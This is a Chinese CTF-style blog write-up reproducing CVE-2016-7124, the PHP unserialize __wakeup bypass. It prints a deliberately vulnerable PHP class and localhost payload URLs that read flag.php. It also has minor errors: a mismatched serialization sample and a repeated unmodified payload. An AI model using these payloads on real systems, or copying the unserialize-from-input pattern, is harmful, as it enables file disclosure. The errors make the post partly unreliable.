PHP反序列化漏洞-CVE-2016-7124(繞過__wakeup)復現


前言

最近電腦也不知怎么了時不時斷網而且我竟然找不出原因!!!很詭異....  其他設備電腦都OK唯獨我的電腦 時好時壞 我仿佛摸清了我電腦斷網的時間段所以作息時間都改變了  今天12點多斷網刷了會手機陪家人取超市 看到小區門口都挺嚴格的進出要身份證 去超市還要測體溫。之后回來睡覺到6點起來家里做了火鍋hhhhh  吃了之后繼續學習序列化漏洞emmmm 等會又該睡覺了 一天又結束了!

預備知識

https://www.cnblogs.com/xhds/p/12233720.html PHP反序列化基礎

序列化public private protect參數產生不同結果

Pubic 公有

Private 私有

Protect 保護

<?php 
class test{
    public $name = 'xiaohua';  
    private $address = 'shanxi';  
    protected $age = '21';
}

$test1 = new test();
$object = serialize($test1);
print_r($object);
?>

序列化之后打印出:

O:4:"test":3:{s:4:"name";s:7:"xiaohua";s:9:"testsex";s:6:"secret";s:6:"*age";s:2:"20";}

 

Public屬性序列化后格式:成員名

Private屬性序列化后格式:%00類名%00成員名

Protected屬性序列化后的格式:%00*%00成員名

通過對網頁抓取輸出是這樣的:

O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}

(1) __construct():當對象創建時會自動調用(但在unserialize()時是不會自動調用的)。

(2) __wakeup() :unserialize()時會自動調用

(3) __destruct():當對象被銷毀時會自動調用。

(4) __toString():當反序列化后的對象被輸出在模板中的時候(轉換成字符串的時候)自動調用

(5) __get() :當從不可訪問的屬性讀取數據

(6) __call(): 在對象上下文中調用不可訪問的方法時觸發

CVE-2016-7124(繞過__wakeup)復現

漏洞影響版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

漏洞產生原因:

如果存在__wakeup方法,調用 unserilize() 方法前則先調用__wakeup方法,但是序列化字符串中表示對象屬性個數的值大於 真實的屬性個數時會跳過__wakeup的執行 

<?php 
//聽說flag在flag.php里面??????
//來源:榆林學院信息安全協會CTF攻防訓練平台
header("Content-Type: text/html; charset=utf-8"); 
    error_reporting(0); 
    class sercet{ 
        private $file='index.php'; 
         // __construc  每次創建新對象時調用,所以__construct非常適合做初始化
        public function __construct($file){ 
            echo "_construct執行<br>";
            $this->file=$file; 
        } 
          //析構函數會在對某個對象所有引用都被刪除或者被顯式銷毀時執行
        function __destruct(){ 
            echo " __destruct執行<br>";
          //  echo show_source($this->file,true); 
            echo @highlight_file($this->file, true); 
        } 
         
          //unserialize()先檢查__wakeup是否存在,則會先調用__wakeup
        function __wakeup(){ 
            echo "__wakeup執行<br>";
            $this->file='index.php'; 
        } 
    } 
  
 unserialize($_GET['val']);  

 

我們分析這道CTF題,題目告知我們說flag好像在flag.php中  又看到頁面爆出這個源碼 我們來分析可以更改類里面的$file變量值通過__destruct()這個函數再去把當前類下的file變量用highlight_file()打印出來。所以我們來構造。先序列化

首先思考傳入flag.php我們實例化一個對象new sercet("flag.php"); 傳遞給serialize()序列化 得出:

$obj =new sercet("flag.php");
$a=serialize($obj);
print_r($a);

 

序列化后的new sercet("flag.php");

O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";} 

 

在傳遞的時候切記根據private的特性加上:%00:O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}

測試payload:

http://127.0.0.1/test.php?val=O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";} 

我們注意觀察 __wakeup這個函數執行了它里面的這段$this->file='index.php';代碼直接將我們傳遞進去的flag.php替換成了index.php,之后再執行__destruct()他里面的highlight_file()將$file里面的源碼高亮顯示。這不是我們需要的效果我們的目標是饒過__wakeup

如果存在__wakeup方法,調用 unserilize() 方法前則先調用__wakeup方法,但是序列化字符串中表示對象屬性個數的值大於 真實的屬性個數時會跳過__wakeup的執行

我們只需要把對象原來屬性值比原來的大就行我們把1改成2

修改前:O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";} 

修改后:O:6:"sercet":2:{s:12:"%00sercet%00file";s:8:"flag.php";} 

測試payload:

http://127.0.0.1/test.php?val=O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";} 

這里我們看只執行了_destruc繞過了__wakeup所以我們成功讀取了flag.PHP中的內容 獲得了flag

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM